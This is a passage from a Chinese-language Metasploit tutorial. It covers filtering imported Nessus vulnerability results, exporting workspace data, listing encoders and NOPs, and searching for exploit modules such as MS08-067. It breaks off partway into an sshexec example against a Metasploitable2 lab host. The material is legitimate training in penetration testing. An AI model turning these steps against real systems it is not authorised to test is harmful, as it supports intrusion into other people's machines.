[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

Microsoft IIS 6.0 Unsupported Version Detection refs=NSS-97994 

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135    name=HTTP 

TRACE / TRACK Methods Allowed refs=CWE-200,CVE-2003-1567,CVE-2004-2320,

CVE-2010-0386,BID-9506,BID-9561,BID-11604,BID-33374,BID-37995,OSVDB-877,

OSVDB-3726,OSVDB-5648,OSVDB-11408,OSVDB-50485,CERT-288308,CERT-867593,

CWE-16,NSS-11213 

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

HyperText Transfer Protocol (HTTP) Information refs=NSS-24260 

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

WebDAV Detection refs=NSS-11424 

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135    name=HTTP 

Server Type and Version refs=NSS-10107 

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135    name=HTTP 

Methods Allowed (per directory) refs=NSS-43111 

[*] Time: 2018-04-09 09:52:54 UTC    Vuln:    host=192.168.59.135 name= 

Nessus SYN scanner refs=NSS-11219




 
（3）用户还可以指定字符串进行过滤。例如，使用字符串Service进行过滤。执行命令如下：
 


msf5 > vulns -S Service

[*] Time: 2018-04-09 09:52:56 UTC    Vuln:    host=192.168.59.1    name= 

Service Detection refs=NSS-22964 

[*] Time: 2018-04-09 09:52:57 UTC    Vuln:    host=192.168.59.1    name= DCE 

Services Enumeration refs=NSS-10736

[*] Time: 2018-04-09 09:52:57 UTC    Vuln:    host=192.168.59.1    name= 

Microsoft Windows SMB Service Detection refs=NSS-11011

[*] Time: 2018-04-09 09:52:56 UTC    Vuln:    host=192.168.59.1    name= 

Link-Local Multicast Name Resolution (LLMNR) Detection refs=NSS-53513

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

Unsupported Windows OS refs=NSS-108797




 
输出信息显示了5个漏洞信息，在前3个漏洞中的name部分中可以看到搜索到字符串Service，而最后两个漏洞是在漏洞详细信息中所包含。这时需要使用-i选项进行查看。
 


[*] Time: 2018-04-09 09:52:56 UTC    Vuln:    host=192.168.59.1   name= Link-

Local Multicast Name Resolution (LLMNR) Detection refs=NSS-53513    info= 

The remote device answered to a Link-local Multicast Name Resolution (LLMNR) 

request.  This protocol provides a name lookup service similar to NetBIOS 

or DNS.  It is enabled by default on modern Windows versions.

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

Unsupported Windows OS refs=NSS-108797    info=The remote version of 

Microsoft Windows is either missing a service pack or is no longer supported. 

As a result, it is likely to contain security vulnerabilities.




 
3．保存数据
 
对于重要的漏洞信息，为了防止其丢失，用户可以进行额外保存。操作方法如下：
 
（1）用户可以将其保存到CSV格式的文件中。例如，将80端口的漏洞信息保存到keep.csv文件中。执行命令如下：
 


msf5 > vulns -p 80 -o keep.csv

 [*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

Service Detection refs=NSS-22964 

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

Unsupported Web Server Detection refs=NSS-34460 

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

Microsoft IIS 6.0 Unsupported Version Detection refs=NSS-97994 

…                                                    #省略其他信息

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:   host=192.168.59.135 name= HTTP 

Server Type and Version refs=NSS-10107 

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135    name=HTTP 

Methods Allowed (per directory) refs=NSS-43111 

[*] Time: 2018-04-09 09:52:54 UTC    Vuln:    host=192.168.59.135 name= 

Nessus SYN scanner refs=NSS-11219

[*] Wrote vulnerability information to /root/keep.csv




 
输出信息显示了要保存的漏洞信息。所有信息都保存在家目录的keep.csv文件中。
 
（2）查看keep.csv文件，如图3.5所示。
 
 
 [image: ] 


图3.5　查看保存的漏洞信息
 
4．使用漏洞信息
 
有漏洞的主机往往是最好的渗透攻击的目标，因此用户可以将漏洞所在的目标主机引用到模块中，为模块的RHOSTS进行赋值。方法如下：
 
（1）使用漏洞信息对应的IP范围在192.168.59.100～192.168.59.150的主机作为SHOSTS选项值。执行命令如下：
 


msf5 auxiliary(scanner/portscan/tcp) > vulns -R 192.168.59.100-192.168.59.150

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name=

Microsoft SQL Server STARTTLS Support refs=NSS-69482 

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

Microsoft SQL Server TCP/IP Listener Detection refs=OSVDB-112,NSS-10144 

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135    name=SMB 

Signing Disabled refs=NSS-57608

[*] Time: 2018-04-09 09:52:52 UTC    Vuln:    host=192.168.59.140 name= 

Device Hostname refs=NSS-55472 

[*] Time: 2018-04-09 09:52:52 UTC    Vuln:    host=192.168.59.140    name=OS 

Identification refs=NSS-11936 

[*] Time: 2018-04-09 09:52:52 UTC    Vuln:    host=192.168.59.140 name= 

Enumerate MAC Addresses via SSH refs=NSS-33276

[*] Time: 2018-04-09 09:52:51 UTC    Vuln:    host=192.168.59.144 name= 

VMware Virtual Machine Detection refs=NSS-20094 

[*] Time: 2018-04-09 09:52:51 UTC    Vuln:    host=192.168.59.144 name= 

Ethernet Card Manufacturer Detection refs=NSS-35716 

[*] Time: 2018-04-09 09:52:51 UTC    Vuln:    host=192.168.59.144    name=SMB 

Signing Disabled refs=NSS-57608

[*] Time: 2018-04-09 09:52:51 UTC    Vuln:    host=192.168.59.150 name= 

Nessus Scan Information refs=NSS-19506 

[*] Time: 2018-04-09 09:52:51 UTC    Vuln:    host=192.168.59.150 name= 

VMware Virtual Machine Detection refs=NSS-20094 

[*] Time: 2018-04-09 09:52:51 UTC    Vuln:    host=192.168.59.150 name= 

Ethernet Card Manufacturer Detection refs=NSS-35716

RHOSTS => 192.168.59.135 192.168.59.140 192.168.59.144 192.168.59.150




 
输出信息显示了符合条件的所有漏洞信息，并且可以在host部分看到对应的主机IP地址。将IP地址192.168.59.135、192.168.59.140、192.168.59.144、192.168.59.150设置为RHOSTS的值。
 
（2）查看成功设置的RHOSTS的选项值。执行命令如下：
 


msf5 auxiliary(scanner/portscan/tcp) > show options



Module options (auxiliary/scanner/portscan/tcp):

Name   Current Setting    Required    Description

----   ---------------    --------      -----------

CONCURRENCY    10           yes            The number of concurrent ports to check 

per host

DELAY        0              yes            The delay between connections, per 

thread, in milliseconds

JITTER        0            yes            The delay jitter factor (maximum value 

by which to +/- DELAY) in milliseconds.

PORTS    1-10000             yes            Ports to scan (e.g. 22-25,80,110-900)

RHOSTS    192.168.59.135 192.168.59.140 192.168.59.144 192.168.59.150

                            yes            The target address range or CIDR identifier

THREADS        1               yes            The number of concurrent threads

TIMEOUT        1000          yes            The socket connect timeout in 

milliseconds




 
其中，RHOSTS的值正好是上述的IP地址。
3.4　信息维护
 
数据库中往往存放了大量的重要数据信息。例如，存放了大量的目标主机地址信息、目标主机使用的服务信息等。如果这些数据不小心丢失了会对日后的渗透攻击造成困扰。因此为了避免数据的丢失，用户可以对数据库中的数据进行进行备份。
3.4.1　备份数据
 
在1.6小节中，使用-o选项只能导出指定部分的信息，而不能导出当前工作区的全部信息。为了防止数据的丢失，用户可以对所有的数据进行备份。这时，需要使用db_export命令，其语法格式如下：
 


db_export -f <format> [filename]




 
其中，format表示导出数据保存的文件格式，支持的格式有XML和pwdump；filename表示文件名称。
 
（1）查看当前选择的工作区。执行命令如下：
 


msf5 > workspace -v



Workspaces

==========



current      name         hosts      services    vulns    creds    loots      notes

-------      --------    -----      --------     -----       -----    -----    -----

                 default      0          0               0          0          0          0

                 work3        1          1               0          0          0          1

                 work4        0          0             0          0          0          0

                 work2        1          1             0          0          0          2

*                work1        7          10            0          1          0          27




 
当前工作区为work1。
 
（2）将工作区work1的全部信息导出到keep文件中，指定文件格式为XML。执行命令如下：
 


msf5 > db_export -f xml keep

[*] Starting export of workspace work1 to keep [ xml ]...        #开始导出

[*]     >> Starting export of report                    #开始导出报告

[*]     >> Starting export of hosts                    #导出hosts报告

[*]     >> Starting export of events                    #导出events报告

[*]     >> Starting export of services                #导出services报告

[*]     >> Starting export of web sites                #导出web sites报告

[*]     >> Starting export of web pages                #导出web pages报告

[*]     >> Starting export of web forms                #导出web forms报告

[*]     >> Starting export of web vulns                #导出web vulns报告

[*]     >> Starting export of module details        #导出module details报告

[*]     >> Finished export of report                    #完成导出报告

[*] Finished export of workspace work1 to keep [ xml ]...




 
导出时，会对数据进行分类，并导出到不同的报告中。
 
（3）查看keep文件中的信息。执行命令如下：
 


root@daxueba:~# cat keep




 
输出信息如下所示：
 


<?xml version="1.0" encoding="UTF-8"?>

<MetasploitV5>

<generated time="2018-04-07 05:41:26 UTC" user="root" project="work1" 

product="framework"/>




 
为了方便分析导出报告中的信息，这里对每个报告的信息部分进行讲解。
 
1．<hosts>报告部分
 
该报告以<hosts>开始以</hosts>结束。它里面又包含了若干个主机信息，每个主机信息都以<host>开始以</host>结束。这里只列出其中一个主机的信息进行说明，具体如下：
 


<host>部分

<hosts>

  <host>                                #hosts中的一个主机host的相关信息

    <id>10</id>

    <created-at>2018-04-04 06:37:14 UTC</created-at>

    <address>192.168.59.1</address>                                                                                #主机IP地址192.168.59.1（address列的信息）

    <mac>00:50:56:c0:00:08</mac>        #主机的MAC地址（mac列的信息）

    <comm></comm>

    <name>localhost</name>

    <state>alive</state>

    <os-name>Windows 2008</os-name>

    <os-flavor/>

    <os-sp/>

    <os-lang/>

    <arch/>

    <workspace-id>20</workspace-id>

    <updated-at>2018-04-06 06:08:48 UTC</updated-at>

    <purpose>server</purpose>

    <info/>

    <comments/>

    <scope/>

    <virtual-host/>

    <note-count>12</note-count>

    <vuln-count>0</vuln-count>

    <service-count>6</service-count>

    <host-detail-count>0</host-detail-count>

    <exploit-attempt-count>0</exploit-attempt-count>

    <cred-count>0</cred-count>

    <detected-arch/>

    <os-family>Windows</os-family>

    <host_details>

    </host_details>

    <exploit_attempts>

    </exploit_attempts>




 
信息中的<host>表示，下面的信息显示的是和主机相关的信息。<address>192.168.59.1</address>表示这里将显示主机192.168.59.1的所有相关的数据信息（每列的信息）。为了方便对照，可以执行hosts命令查看该主机的信息，具体如下：
 


msf5 > hosts



Hosts

=====

address  mac  name  os_name   os_flavor   os_sp   purpose   info   comments

-------  ---  ----  -------   ---------   -----   -------   ----   --------

192.168.59.1        00:50:56:c0:00:08    localhost    Windows 2008     server 

192.168.59.2        00:50:56:ea:f3:a1    localhost    Player              device  

192.168.59.100                                      Unknown          device 

192.168.59.140    00:0c:29:6f:30:3d    localhost    Unknown             device  




 
信息中的主机192.168.59.1，每列的信息都能在报告的host部分看到（加粗部分），并且也显示了该主机虚拟列的信息。
 
（1）<services>部分。
 
该部分属于<host>部分，用来显示<host>部分中主机对应的所有服务信息，以<services>开始，以</services>结束。它包含了若干个服务信息。而每个服务信息又以<service>开始，以</service>结束。示例如下：
 


    <services>

      <service>                                        #第1个service

      <id>1020</id>

      <host-id>10</host-id>

      <created-at>2018-04-06 06:08:46 UTC</created-at>

      <port>135</port>

      <proto>tcp</proto>

      <state>open</state>

      <name>msrpc</name>

      <updated-at>2018-04-06 06:08:46 UTC</updated-at>

      <info>Microsoft Windows RPC</info>

      </service>

      <service>                                        #第2个service

      <id>1021</id>

      <host-id>10</host-id>

      <created-at>2018-04-06 06:08:46 UTC</created-at>

      <port>139</port>

      <proto>tcp</proto>

      <state>open</state>

      <name>netbios-ssn</name>

      <updated-at>2018-04-06 06:08:46 UTC</updated-at>

      <info>Microsoft Windows netbios-ssn</info>

      </service>

                                                      #省略其他信息

      <service>

      <id>1024</id>

      <host-id>10</host-id>

      <created-at>2018-04-06 06:08:46 UTC</created-at>

      <port>912</port>

      <proto>tcp</proto>

      <state>open</state>

      <name>vmware-auth</name>

      <updated-at>2018-04-06 06:08:46 UTC</updated-at>

      <info>VMware Authentication Daemon 1.0 Uses VNC, SOAP</info>

      </service>

      <service>                                        #第6个service

      <id>1025</id>

      <host-id>10</host-id>

      <created-at>2018-04-06 06:08:46 UTC</created-at>

      <port>5357</port>

      <proto>tcp</proto>

      <state>open</state>

      <name>http</name>

      <updated-at>2018-04-06 06:08:46 UTC</updated-at>

      <info>Microsoft HTTPAPI httpd 2.0 SSDP/UPnP</info>

      </service>

    </services>




 
输出信息显示了主机192.168.59.1中对应的6个服务对应列的信息。为了方便对照，可以执行services命令查看该主机的服务信息，具体如下：
 


msf5> services

Services

========

host             port   proto    name          state      info

-------         -----  -----    -----             -----      ------

192.168.59.1   135       tcp    msrpc          open       Microsoft Windows RPC

192.168.59.1   139       tcp    netbios-ssn      open       Microsoft Windows 

                                                      netbios-ssn

192.168.59.1   445       tcp    microsoft-ds  open       Windows 7 Ultimate 7601 

Service Pack 1 microsoft-ds workgroup: WORKGROUP

192.168.59.1   902     tcp       ssl/vmware-auth    open                                                       VMware Authentication Daemon 1.10 Uses VNC, SOAP

192.168.59.1   912     tcp       vmware-auth      open                                                       VMware Authentication Daemon 1.0 Uses VNC, SOAP

192.168.59.1   5357    tcp       http          open                                                        Microsoft HTTPAPI httpd 2.0 SSDP/UPnP




 
从输出信息可以看到显示的主机为192.168.59.1，每列的信息都能在报告中看到。以name列为例，报告中的加粗部分就是该主机的name列信息。
 
（2）<notes>部分。
 
该部分也属于<host>部分，用来显示<host>部分中主机对应的所有备注信息。它以<notes>开始以</notes>结束，包含了若干个备注信息。每个备注信息又以<note>开始，以</note>结束。示例如下：
 


    <notes>

      <note>                                                #第1个note

      <id>61</id>

      <created-at>2018-04-06 06:08:46 UTC</created-at>

      <ntype>nmap.nse.clock-skew.host</ntype>

      <workspace-id>20</workspace-id>

      <service-id/>

      <host-id>10</host-id>

      <updated-at>2018-04-06 06:08:46 UTC</updated-at>

      <critical/>

      <seen/>

      <data>BAh7BiILb3V0cHV0IjdtZWFuOiAtMmg0MG0xNnMsIGRldmlhdGlvbjogNGgz

      N20wN3MsIG1lZGlhbjogLTE2cw==</data>

      <vuln-id/>

      </note>

      <note>                                                #第2个note

      <id>62</id>

      <created-at>2018-04-06 06:08:46 UTC</created-at>

      <ntype>nmap.nse.nbstat.host</ntype>

      <workspace-id>20</workspace-id>

      <service-id/>

      <host-id>10</host-id>

      <updated-at>2018-04-06 06:08:46 UTC</updated-at>

      <critical/>

      <seen/>

      <data>BAh7BiILb3V0cHV0Il1OZXRCSU9TIG5hbWU6IFdJTkRPV1M3LCBOZXRCSU9

          TIHVzZXI6IDx1bmtub3duPiwgTmV0QklPUyBNQUM6IDAwOjUwOjU2OmMwOjAwOjA4

          IChWTXdhcmUp</data>

      <vuln-id/>

      </note>




 
输出信息显示了2个note信息，它们都属于主机192.168.59.1。为了方便对照，可以执行notes命令查看该主机的note信息，具体如下：
 


msf5> notes 192.168.59.1

[*] Time: 2018-04-06 06:08:46 UTC Note: host=192.168.59.1 type=nmap.nse.

clock-skew.host data={"output"=>"mean: -2h40m16s, deviation: 4h37m07s, 

median: -16s"}

[*] Time: 2018-04-06 06:08:46 UTC Note: host=192.168.59.1 type=nmap.nse.

nbstat.host data={"output"=>"NetBIOS name: WINDOWS7, NetBIOS user: 

<unknown>, NetBIOS MAC: 00:50:56:c0:00:08 (VMware)"}


 
输出信息中显示的是note信息，并且可以看到主机的IP地址为192.168.59.1，其他对应的信息也都可以在报告中看到。以type的信息为例，报告中的加粗部分就是该主机的type的信息。
 
[image: ]提示：如果其他列中包含了信息，也会以同样的方式显示在<hosts>部分中，如vulns列的信息。
 
2．<events>报告部分
 
该报告是以<events>开始以</events>结束。它里面又包含了若干个事件信息。每个信息又以<event>开始，以</event>结束。具体示例：
 


<events>

  <event>

      <id>160</id>

      <workspace-id>20</workspace-id>

      <host-id/>

      <created-at>2018-04-04 06:36:23 UTC</created-at>

      <name>ui_command</name>

      <updated-at>2018-04-04 06:36:23 UTC</updated-at>

      <critical/>

      <seen/>

      <username/>

      <info>BAh7BjoMY29tbWFuZCIOd29ya3NwYWNl</info>

  </event>



  <event>

      <id>161</id>

      <workspace-id>20</workspace-id>

      <host-id/>

      <created-at>2018-04-04 06:36:27 UTC</created-at>

      <name>ui_command</name>

      <updated-at>2018-04-04 06:36:27 UTC</updated-at>

      <critical/>

      <seen/>

      <username/>

      <info>BAh7BjoMY29tbWFuZCIRd29ya3NwYWNlIC12</info>

  </event>




 
3．<services>报告部分
 
该报告是以<services>开始以</services>结束。它里面又包含了若干个服务信息，以<service>开始以</service>结束。与<hosts>报告中services部分不同的是，它显示的是工作区中所有主机的服务信息，而<hosts>报告中services部分只显示它所在<host>部分对应主机的服务信息。该部分的信息如下：
 


<services>

  <service>                                #主机192.168.59.144的service信息

      <id>1016</id>

      <host-id>13</host-id>

      <created-at>2018-04-04 06:37:14 UTC</created-at>

      <port>88</port>

      <proto>tcp</proto>

      <state>open</state>

      <name>kerberos-sec</name>

      <updated-at>2018-04-04 06:37:14 UTC</updated-at>

      <info>Heimdal Kerberos server time: 2018-04-04 06:34:53Z</info>

  </service>



  <service>                                #主机192.168.59.1的service信息

      <id>1020</id>

      <host-id>10</host-id>

      <created-at>2018-04-06 06:08:46 UTC</created-at>

      <port>135</port>

      <proto>tcp</proto>

      <state>open</state>

      <name>msrpc</name>

      <updated-at>2018-04-06 06:08:46 UTC</updated-at>

      <info>Microsoft Windows RPC</info>

  </service>



  <service>                                #主机192.168.59.100的service信息

      <id>1019</id>

      <host-id>16</host-id>

      <created-at>2018-04-05 03:25:14 UTC</created-at>

      <port>445</port>

      <proto>tcp</proto>

      <state>open</state>

      <name/>                                #services为空

      <updated-at>2018-04-05 03:25:14 UTC</updated-at>

      <info></info>

  </service>




 
输出信息显示了数据库中所有主机的service的信息。为了方便对照，可以执行services命令查看数据库中的service信息，具体如下：
 


msf5> services

Services

========



host              port   proto   name             state  info

-------          ----   ------  -----                -----  ------

192.168.59.1    135    tcp      msrpc               open   Microsoft Windows RPC

192.168.59.100  445    tcp                           open   

192.168.59.144  88     tcp      kerberos-sec       open   Heimdal Kerberos 

server time: 2018-04-04 06:34:53Z




 
4．<web_sites>报告部分
 
该部分表示网站的相关信息，以<web_sites>开始以</web_sites>结束。
 
5．<web_pages>报告部分
 
该部分表示网页的相关信息，以<web_pages>开始以</web_pages>结束。
 
6．<web_forms>报告部分
 
该部分表示Web表单的相关信息，以<web_forms>开始以</web_forms>结束。
 
7．<web_vulns>报告部分
 
该部分表示Web漏洞的相关信息，以<web_vulns>开始以</web_vulns>结束。
 
8．<module_details>报告部分
 
该部分表示模块的详细信息，以<module_details>开始以</module_details>结束，该部分中包含了若干个模块详细信息。每条信息都以<module_detail>开始，以</module_detail>结束。这里只列出一个模块的信息，显示如下：
 


<module_detail>

    <id>1</id>

    <mtime>2018-03-29 16:42:03 UTC</mtime>

    <file>/usr/share/metasploit-framework/modules/exploits/aix/local/

ibstat_path.rb</file>                                    #模块路径

    <mtype>exploit</mtype>

    <refname>aix/local/ibstat_path</refname>

    <fullname>exploit/aix/local/ibstat_path</fullname>        #模块全名

    <name>ibstat $PATH Privilege Escalation</name>

    <rank>600</rank>

    <description>This module exploits the trusted $PATH environment variable 

of the SUID binary &quot;ibstat&quot;.</description>    #描述信息

    <license>Metasploit Framework License (BSD)</license>

    <privileged/>

    <disclosure-date>2013-09-24 00:00:00 UTC</disclosure-date>

    <default-target>1</default-target>

    <default-action/>

    <stance>aggressive</stance>

    <ready>true</ready>

    <module_authors>                                            #模块作者信息

        <id>3</id>

        <detail-id>1</detail-id>

        <name>Kostas Lintovois &lt;kostas.lintovois@mwrinfosecurity.

com&gt;</name>

        <email/>

        <id>2</id>

        <detail-id>1</detail-id>

        <name>Sagi Shahar &lt;sagi.shahar@mwrinfosecurity.com&gt;</name>

        <email/>

        <id>1</id>

        <detail-id>1</detail-id>

        <name>Kristian Erik Hermansen</name>

        <email/>

    </module_authors>

    <module_refs>

        <id>5</id>

        <detail-id>1</detail-id>

        <name>URL-http://www-01.ibm.com/support/docview.wss?uid=isg1IV

43756</name>

        <id>4</id>

        <detail-id>1</detail-id>

        <name>URL-http://www-01.ibm.com/support/docview.wss?uid=isg1IV

43827</name>

        <id>3</id>

        <detail-id>1</detail-id>

        <name>BID-61287</name>

        <id>2</id>

        <detail-id>1</detail-id>

        <name>OSVDB-95420</name>

        <id>1</id>

        <detail-id>1</detail-id>

        <name>CVE-2013-4011</name>

    </module_refs>

    <module_archs>

        <id>1</id>

        <detail-id>1</detail-id>

        <name>cmd</name>

    </module_archs>

    <module_platforms>

        <id>1</id>

        <detail-id>1</detail-id>

        <name>unix</name>

    </module_platforms>

    <module_targets>                                            #目标信息

        <id>2</id>

        <detail-id>1</detail-id>

        <index>1</index>

        <name>IBM AIX Version 7.1</name>

        <id>1</id>

        <detail-id>1</detail-id>

        <index>0</index>

        <name>IBM AIX Version 6.1</name>

    </module_targets>

    <module_actions>

    </module_actions>

    <module_mixins>

    </module_mixins>

</module_detail>




 
输出信息显示了模块的相关信息，包括路径、名称、作者等信息。
3.4.2　重建数据缓存
 
Metasploit集成了上千个模块。为了方便用户查找，Metasploit提供了搜索功能。但是直接通过磁盘搜索这些模块，速度会非常慢。为了解决这个问题，Metasploit在数据库中创建了对应的缓存。用户搜索模块的时候，会直接从数据库搜索。但是，在模块添加、删除的时候，需要更新数据库，重新建立缓存。重建数据缓存需要使用db_rebuild_cache子命令，如下：
 


msf5 > db_rebuild_cache

[*] Purging and rebuilding the module cache in the background...


 
输出信息显示，在后台运行清除和构建模块缓存，稍等几分钟后将重启msf控制台（自动完成），就可以快速搜索模块了。
3.5　模块简介
 
模块是指Metasploit框架中所使用的一段软件代码组件。Metasploit框架的核心就是由它支持的大量模块构成。并且，Metasploit将所有的模块进行了分类。Metasploit不仅自带了大量的模块，还支持导入第三方模块实施渗透。本章介绍Metasploit框架中各类模块的使用。
3.5.1　模块分类
 
Metasploit框架如此强大的核心所在，就是它支持的模块。其中，Metasploit将所有模块进行分类，分别是exploits、auxiliary、post、payloads、encoders和nops。这些模块类都以文件夹的形式保存在系统中，默认保存在Metasploit安装位置的modules目录下。在启动Metasploit时，可以看到每类模块的个数，具体如下：
 


root@daxueba:~# msfconsole

                                                  

IIIIII    dTb.dTb        _.---._

  II     4'  v  'B   .'"".'/|\`.""'.

  II     6.     .P  :  .' / | \ `.  :

  II     'T;. .;P'  '.'  /  |  \  `.'

  II      'T; ;P'    `. /   |   \ .'

IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

       =[ metasploit v5.0.1-dev                                    ]

+ -- --=[ 1851 exploits - 1046 auxiliary - 321 post            ]

+ -- --=[ 541 payloads - 44 encoders - 10 nops              ]

+ -- --=[ 2 evasion                                               ]

+ -- --=[ ** This is Metasploit 5 development branch **      ]

msf5 >


 
从以上输出的信息中可以看到每类模块的个数（加粗部分）。例如，exploits模块有1851个，auxiliary模块有1046个，payloads模块有541个载荷等。用户可以使用show命令查看模块的详细信息。具体如下：
 


msf5 > show all

Encoders

========

   Name   Disclosure Date    Rank           Check      Description

   ----   ---------------    ----           -----     -------------

   cmd/echo                    good             No        Echo Command Encoder

   cmd/generic_sh             manual       No        Generic Shell Variable                                                        Substitution Command Encoder

   cmd/ifs                     low              No        Generic ${IFS} Substitution

                                                    Command Encoder

   cmd/perl                    normal       No        Perl Command Encoder

   cmd/powershell_base64    excellent     No        Powershell Base64 Command                                                     Encoder

   cmd/printf_php_mq         manual       No        printf(1) via PHP magic_

                                                    quotes Utility Command Encoder

   generic/eicar              manual          No         The EICAR Encoder

   generic/none               normal       No        The "none" Encoder

   mipsbe/byte_xori          normal           No        Byte XORi Encoder

   mipsbe/longxor            normal           No        XOR Encoder

...

NOP Generators

==============

   Name   Disclosure Date      Rank           Check   Description

   ----   ---------------      ----           -----     -------------

   armle/simple               normal          No        Simple

   php/generic                normal          No        PHP Nop Generator

   ppc/simple                  normal          No        Simple

   sparc/random               normal          No        SPARC NOP Generator

   tty/generic                normal          No        TTY Nop Generator

   x64/simple                 normal          No        Simple

   x86/opty2                  normal          No        Opty2

   x86/single_byte           normal          No        Single Byte

...

  x86/context_stat             manual         No        stat(2)-based Context Keyed 

                                                   Payload Encoder

   x86/context_time            manual         No        time(2)-based Context Keyed 

                                                   Payload Encoder

   x86/countdown              normal          No        Single-byte XOR Countdown 

                                                   Encoder

   x86/fnstenv_mov            normal       No        Variable-length Fnstenv/

                                                    mov Dword XOR Encoder

   x86/jmp_call_additive     normal       No         Jump/Call XOR Additive 

                                                   Feedback Encoder

   x86/nonalpha                low          No        Non-Alpha Encoder

   x86/nonupper                low             No        Non-Upper Encoder

   x86/opt_sub                 manual         No        Sub Encoder (optimised)

   x86/shikata_ga_nai         excellent     No        Polymorphic XOR Additive 

                                                   Feedback Encoder

   x86/single_static_bit     manual         No        Single Static Bit

   x86/unicode_mixed          manual      No        Alpha2 Alphanumeric 

                                                   Unicode Mixedcase Encoder

   x86/unicode_upper          manual      No        Alpha2 Alphanumeric 

                                                   Unicode Uppercase Encoder




 
执行以上命令后，将会显示所有的模块。由于篇幅的原因，这里只列出了一部分。如果用户认为显示所有模块不太容易找出自己需要的模块时，可以分类进行查看。例如，查看nops类模块，显示结果如下：
 


msf5 > show nops

NOP Generators

==============

   Name     Disclosure Date  Rank           Check         Description

   ----     ---------------  -----           -----         -------------

   aarch64/simple             normal       No             Simple

   armle/simple               normal          No            Simple

   mipsbe/better              normal          No             Better

   php/generic                normal          No            PHP Nop Generator

   ppc/simple                 normal          No            Simple

   sparc/random               normal         No            SPARC NOP Generator

   tty/generic                normal          No            TTY Nop Generator

   x64/simple                 normal          No            Simple

   x86/opty2                  normal          No            Opty2

   x86/single_byte           normal          No            Single Byte




 
以上显示了nops类的所有模块。这类模块数比较少，所以更容易看到。但是，如果模块数过多，一页无法显示完，用户可以使用search命令搜索特定模块，如通过类型、CVE编号等进行搜索。其中，search模块的语法格式如下：
 


search [关键字]


 
该命令可用的关键字如下：
 
·app：指定client和server攻击的模块。

·author：通过模块作者名称进行查找。

·bid：根据Bugtraq ID来查询模块。

·cve：根据CVE ID来查询模块。

·edb：根据Exploit-DB ID来查询模块。

·name：根据名称来查询模块。

·osvdb：根据OSVDB ID来查询模块。

·platform：根据模块级别来查询，缩小查询范围。

·ref：根据ref来查询模块。

·type：根据类型来查询模块。如类型为exploit、auxiliary或post。
 
例如搜索名称为MS08-067的模块。执行命令如下：
 


msf5 > search MS08-067

Matching Modules

================

   Name       Disclosure Date       Rank    Check    Description

   -----      ---------------     ----    ------   ------------

   exploit/windows/smb/ms08_067_netapi  2008-10-28    great  Yes   MS08-

   067 Microsoft  Server Service Relative Path Stack Corruption




 
从输出的信息中，可以看到搜索到了名称为MS08-067的模块。
 
在前面介绍了通过分析漏洞扫描报告可以获得CVE编号，所以如果用户知道某漏洞的CVE编号，也可以直接搜索。例如，搜索CVE编号为CVE-2009-3103漏洞利用模块：
 


msf5 > search CVE-2009-3103

Matching Modules

================

   Name       Disclosure Date      Rank       Check       Description

   -----     ----------------     -----      ------      -------------

   auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh  normal No

   Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference

   auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff  normal      No

   Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference

   exploit/windows/smb/ms09_050_smb2_negotiate_func_index 2009-09-07 good 

   No  MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table 

Dereference




 
从输出信息中，可以看到搜索到了3个可利用的模块。
3.5.2　渗透攻击模块（Exploit）
 
渗透攻击模块用于实际发起渗透攻击的模块组件。用户可以使用以下命令查看所有渗透攻击模块：
 


msf5 > show exploit




 
在输出的结果中，对每个模块的发布时间及含义都有详细介绍。由于可利用的渗透攻击模块比较多，所以这里就不一一列举了。下面将介绍渗透攻击模块的使用。
 
【实例3-2】使用multi/ssh/sshexec模块对目标主机（Metasploitable2）实施渗透攻击。具体操作步骤如下：
 
（1）搜索multi/ssh/sshexec模块的全路径。执行命令如下：
 


msf5 exploit(mssql_payload) > search sshexec

Matching Modules

================

   Name                     Disclosure Date    Rank    Check    Description

   ----                     ----------------   ----    -----    -------------

   exploit/multi/ssh/sshexec   1999-01-01   manual  No       SSH User Code 

                                                                Execution




 
从输出的信息中可以看到，multi/ssh/sshexec是一个渗透攻击类模块。
 
（2）选择使用multi/ssh/sshexec模块。执行命令如下：
 


msf5 > use exploit/multi/ssh/sshexec 

msf5 exploit(sshexec) >




 
执行以上命令，表示已成功选择了multi/ssh/sshexec模块。如果用户想要查看该模块的详细信息，可以使用info命令来实现：
 


msf5 exploit(sshexec) > info 

       Name: SSH User Code Execution                        #模块名称

     Module: exploit/multi/ssh/sshexec                    #模块的全路径

   Platform: Linux, OSX, Python                            #支持的系统平台

       Arch:

 Privileged: Yes                                            #特权

    License: Metasploit Framework License (BSD)            #许可协议

       Rank: Manual                                        #级别

  Disclosed: 1999-01-01                                    #发布时间

Provided by:                                                #提供者

  Spencer McIntyre

  Brandon Knight

Module side effects:                                    #模块影响

 artifacts-on-disk

 ioc-in-logs

Module stability:                                        #模块稳定性

 crash-safe

Module reliability:                                        #模块可靠性

 repeatable-session

Available targets:                                        #可用的目标

  Id  Name

  --   ----

  0   Linux x86

  1   Linux x64

  2   Linux armle

  3   Linux mipsle

  4   Linux mipsbe

  5   Linux aarch64

  6   OSX x86

  7   OSX x64

  8   Python

  9   Unix Cmd

